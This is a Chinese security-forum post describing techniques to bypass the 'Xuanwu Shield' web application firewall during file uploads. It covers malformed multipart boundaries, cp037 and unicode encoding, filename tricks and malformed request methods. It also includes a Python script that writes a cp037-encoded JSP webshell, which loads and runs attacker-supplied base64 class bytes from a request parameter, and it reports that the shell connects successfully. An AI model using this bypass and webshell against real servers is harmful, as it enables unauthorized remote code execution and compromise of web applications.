安全矩阵

 找回密码
 立即注册
搜索
查看: 1103|回复: 0

玄武盾的几种绕过姿势

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-8-17 23:15:10 | 显示全部楼层 |阅读模式
玄武盾的几种绕过姿势
文章链接:玄武盾的几种绕过姿势 (qq.com)

文件名绕过boundary等号前后空格绕过Content-Type: multipart/form-data;
boundary = ----WebKitFormBoundaryMJPuN1aHyzfAO2m3
编辑
boundary等号前后ascii码09绕过
编辑
Cp037编码绕过
编辑
文件名后加/绕过
编辑
畸形请求方法
编辑
文件内容绕过unicode编码
编辑
cp037编码(脚本内置马支持后缀jsp/jspx,都可解析)编码脚本
  1. #python2data = '''<?xml version="1.0" encoding="cp037"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">  <jsp:declaration>    class PERFORM extends ClassLoader {      PERFORM(ClassLoader c) { super(c);}      public Class bookkeeping(byte[] b) {        return super.defineClass(b, 0, b.length);      }    }    public byte[] branch(String str) throws Exception {      Class base64;      byte[] value = null;      try {        base64=Class.forName("sun.misc.BASE64Decoder");        Object decoder = base64.newInstance();        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });      } catch (Exception e) {        try {          base64=Class.forName("java.util.Base64");          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });        } catch (Exception ee) {}      }      return value;    }  </jsp:declaration>  <jsp:scriptlet>    String cls = request.getParameter("xxoo");    if (cls != null) {      new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});    }  </jsp:scriptlet></jsp:root>'''fcp037 = open('cp037.jsp','wb')![](https://xzfile.aliyuncs.com/media/upload/picture/20220804173607-de2cfbb4-13d8-1.png)fcp037.write(data.encode('cp037'))
复制代码

生成出来,burp选择paste from file
编辑
编辑
编辑

可以正常连接
编辑


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 19:16 , Processed in 0.015228 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表